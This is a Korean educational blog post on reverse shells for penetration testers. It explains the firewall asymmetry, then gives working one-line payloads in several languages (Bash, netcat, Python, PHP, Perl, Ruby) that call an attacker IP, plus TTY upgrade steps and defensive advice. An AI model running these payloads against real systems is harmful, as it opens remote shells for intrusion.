[웹 해킹 #3] 리버스 쉘(Reverse Shell) 완벽 정리 - 원리부터 언어별 페이로드 치트시트까지

무슨 글일까요?
이전 글(#2)에서 웹쉘로 서버에 발판을 마련했습니다. 그런데 웹쉘을 한참 쓰다 보면 답답해집니다.
브라우저나 도구를 통해 명령을 '하나씩' 던지는 방식이라, 자동완성도 안 되고 연속 작업도 불편하며 무엇보다 불안정합니다.
그래서 침투 테스터는 거의 항상 더 나은 쉘, 리버스 쉘(Reverse Shell) 을 확보하려 합니다.
그런데 입문자가 여기서 가장 헷갈려 하는 지점이 있습니다. "쉘을 딴다"는 건 알겠는데 왜 하필 '리버스(거꾸로)' 일까요?
내가 타겟에 접속하는 게 자연스러운데 왜 타겟이 나한테 접속하게 만드는 걸까요? 이 질문에 답하는 것이 이번 글의 핵심입니다.
방화벽이라는 비대칭 - '리버스'의 이유
답은 방화벽에 있습니다. 그리고 방화벽이 가진 비대칭성을 이해하면 모든 게 풀립니다.
거의 모든 서버는 외부에서 안으로 들어오는(inbound) 연결을 강력하게 차단합니다. 아무 포트나 열려 있으면 공격당하니 당연합니다.
그런데 안에서 밖으로 나가는(outbound) 연결에는 훨씬 관대합니다. 서버도 업데이트를 받고 외부 API를 호출해야 하니까요.
구분 | 바인드 쉘 (Bind Shell) | 리버스 쉘 (Reverse Shell) |
|---|---|---|
연결 방향 | 공격자 → 타겟에 접속 | 타겟 → 공격자에 접속 |
방화벽 | inbound 차단에 막힘 ❌ | outbound는 대체로 허용 ✅ |
비유 | 내가 상대 집에 쳐들어감 | 상대가 내게 전화하게 만듦 |
바인드 쉘은 타겟에 포트를 열고 내가 접속하는 방식인데, inbound가 막혀 있으면 그 포트에 닿지도 못합니다.
반면 리버스 쉘은 타겟이 스스로 공격자에게 연결을 시작하므로, 타겟 입장에서는 평범한 outbound 트래픽이라 방화벽을 통과합니다.
그래서 순서가 중요합니다. 타겟이 전화를 걸어올 거니까, 공격자가 먼저 전화를 받을 준비를 해 둬야 합니다.
1단계 - 전화를 받을 준비 (공격자 측 리스너)
타겟이 접속해 올 포트를 미리 열어 두고 대기합니다. 이걸 리스너(listener)라고 합니다.
아래 모든 예제는 공격자 IP 10.10.14.5, 포트 8080 을 기준으로 합니다. (실습할 때는 본인 IP로 바꾸세요.)
nc -vv -l -p 8080-l: 리슨(listen) 모드로 대기-p 8080: 8080 포트에서 기다림-vv: 무슨 일이 일어나는지 상세히 출력
이 상태로 두고, 타겟 쪽에서 아래 페이로드 중 하나를 실행시키면 쉘이 넘어옵니다.
2단계 - 타겟이 전화를 걸게 하기 (페이로드)
이제 타겟 서버에서 "공격자에게 연결을 시작하는" 코드를 실행시킬 차례입니다. 그런데 왜 이렇게 언어별로 여러 버전이 필요할까요?
타겟 서버에 무엇이 설치되어 있을지 모르기 때문입니다. Python이 없을 수도, nc에 핵심 옵션이 빠져 있을 수도 있습니다.
그래서 상황에 맞춰 골라 쓸 수 있도록, 현장에서 자주 쓰는 순서대로 정리한 리버스 쉘 치트시트를 아래에 담았습니다.
타겟에 깔린 언어에 맞는 한 줄을 골라 그대로 복사해 쓰면 됩니다. 전부 10.10.14.5:8080으로 접속하도록 작성되어 있습니다.
Bash (가장 흔하고 가장 먼저 시도)
bash -i >& /dev/tcp/10.10.14.5/8080 0>&1리눅스의 /dev/tcp라는 특수 장치를 이용해 별도 도구 없이 TCP 연결을 여는 기법입니다. Bash만 있으면 되니 성공률이 높습니다.
Netcat (-e 옵션)
nc -e /bin/sh 10.10.14.5 8080-e는 연결되면 지정한 프로그램(/bin/sh)을 실행해 붙여 주는 옵션입니다. 다만 보안상 이 옵션이 빠진 netcat 빌드가 많습니다.
Netcat (-e가 없는 버전 — named pipe 방식)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 8080 >/tmp/f-e가 없을 때 named pipe(mkfifo)로 입출력을 우회해 같은 효과를 냅니다. "netcat은 있는데 -e가 안 먹어요" 할 때 쓰는 변형입니다.
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'
Python3 (python이 python3만 가리킬 때)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);'PHP
php -r '$sock=fsockopen("10.10.14.5",8080);exec("/bin/sh -i <&3 >&3 2>&3");'웹쉘을 통해 PHP 코드를 실행할 수 있는 상황이라면, 이 한 줄로 바로 리버스 쉘로 승격할 수 있습니다.
Perl
perl -e 'use Socket;$i="10.10.14.5";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'어떤 걸 먼저 시도해야 하나요?
타겟에 무엇이 깔려 있는지 모를 땐 먼저 확인하면 됩니다.
which python python3 php perl ruby nc bash실전·CTF 경험칙으로는 Bash → Python → Netcat 순으로 시도하면 대부분 하나는 걸립니다. Bash의
/dev/tcp방식이 의존성이 가장 적어 성공률이 높기 때문입니다.
3단계 - 멍청한 쉘을 똑똑하게 (TTY 업그레이드)
리버스 쉘이 처음 넘어오면 기쁜 것도 잠시, 곧 불편함을 느낍니다. Tab 자동완성이 안 되고, 화살표 키가 이상한 문자로 찍히고,
무심코 Ctrl+C를 누르면 쉘 자체가 죽어 버립니다. 이걸 멍청한 쉘(dumb shell) 이라고 부릅니다. 제대로 된 터미널(TTY)이 아니기 때문입니다.
실무에서는 이걸 완전한 쉘로 업그레이드합니다.
# 1. 타겟 쉘에서 Python으로 PTY 생성
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Ctrl+Z 로 쉘을 background 로 보낸 뒤, 공격자 터미널에서:
stty raw -echo; fg
# 3. 다시 쉘로 돌아온 뒤 터미널 환경변수 설정
export TERM=xterm이 과정을 거치면 화살표 키, Tab 자동완성, Ctrl+C가 정상 동작하는, 평소 쓰던 것 같은 쉘이 됩니다.
사소해 보이지만 이후 작업의 효율이 확 달라집니다. 쉘을 안정화한 다음에는 보통 권한 상승으로 넘어갑니다.
sudo, find, vim 같은 평범한 바이너리로 제한된 쉘을 탈출하거나 root를 얻는 기법은 GTFOBins가 바이너리별로 집대성해 두었으니,
다음 단계가 궁금하다면 이 사이트를 보면 좋습니다. [GTFOBins]
방어자는 무엇을 봐야 하는가
지금까지 공격 원리를 따라왔으니, 방어도 자연스럽게 도출됩니다. 리버스 쉘의 생명줄은 outbound 연결이었습니다. 그렇다면 방어의 핵심도 거기 있습니다.
아웃바운드 방화벽 정책 (egress filtering). 가장 근본적인 방어입니다. 서버가 외부로 나가는 연결을, 꼭 필요한 목적지·포트로만 제한하면 리버스 쉘이 전화를 걸 곳을 잃습니다. 들어오는 것만 막고 나가는 건 다 열어 두는 흔한 구성이 바로 리버스 쉘이 노리는 틈입니다.
이상 프로세스 탐지. 웹서버 프로세스(
www-data)가/bin/sh,bash -i,nc같은 쉘을 띄우는 건 정상 상황에서는 일어나지 않는 명백한 이상 징후입니다. EDR/HIDS로 이런 부모-자식 프로세스 관계를 탐지합니다.최소 권한 원칙. 웹 애플리케이션을 낮은 권한 계정으로 실행하면, 설령 쉘이 넘어가도 공격자가 할 수 있는 일이 제한됩니다.
#2에서 본www-data가 곧바로 root가 아닌 이유이기도 합니다.불필요한 인터프리터 제거. 운영 서버에 Python·Perl·Ruby가 꼭 필요하지 않다면 줄이거나 제한합니다. 페이로드가 고를 수 있는 무기를 빼앗는 셈입니다.
정리
[공격자] nc -l -p 8080 으로 대기 (전화 받을 준비)
↑ (outbound 라서 방화벽 통과)
[타겟] bash -i >& /dev/tcp/10.10.14.5/8080 0>&1 실행 (전화 검)
↓
[공격자] 쉘 획득 → TTY 업그레이드 → 안정적 원격 제어핵심은 처음에 던진 질문의 답입니다. 쉘이 거꾸로 연결되는 이유는 방화벽의 비대칭성 때문입니다.
inbound는 막혀도 outbound는 열려 있으니, 타겟이 스스로 걸어오게 만드는 것이죠.
이 하나를 이해하면 수많은 페이로드가 결국 같은 일을 다른 언어로 하는 것뿐임이 보입니다.
이제 안정적인 발판을 확보했습니다. 그런데 애초에 이런 페이로드를 어떻게 타겟이 실행하게 만들까요?
그 고전적인 통로 중 하나를 다음 글에서 다룹니다. 파일 삽입 취약점(LFI/RFI) 입니다.
이전 글 → [웹 해킹 #2] 파일 업로드 취약점과 웹쉘 다음 글 → [웹 해킹 #4] 파일 인클루전 취약점 (LFI / RFI)
읽어보면 좋을 추천 글
[PayloadsAllTheThings — Reverse Shell Cheatsheet] 펜테스터들이 가장 많이 참고하는 페이로드 모음입니다. 본문에서 다룬 언어별 리버스 쉘 외에도 PowerShell, socat, awk 등 훨씬 다양한 변형이 정리되어 있어 북마크해 두면 두고두고 씁니다.
[PentestMonkey — Reverse Shell Cheat Sheet] 리버스 쉘 치트시트의 고전입니다. 오래됐지만 각 페이로드가 왜 그렇게 생겼는지 간결하게 설명되어 있어 입문자가 원리를 잡기에 좋습니다.
[GTFOBins] TTY 업그레이드 이후, 제한된 환경에서 쉘을 탈출하거나 권한을 상승시킬 때 쓰는 바이너리별 기법 사전입니다.
리버스 쉘로 발판을 잡은 다음 단계를 공부할 때 필수입니다.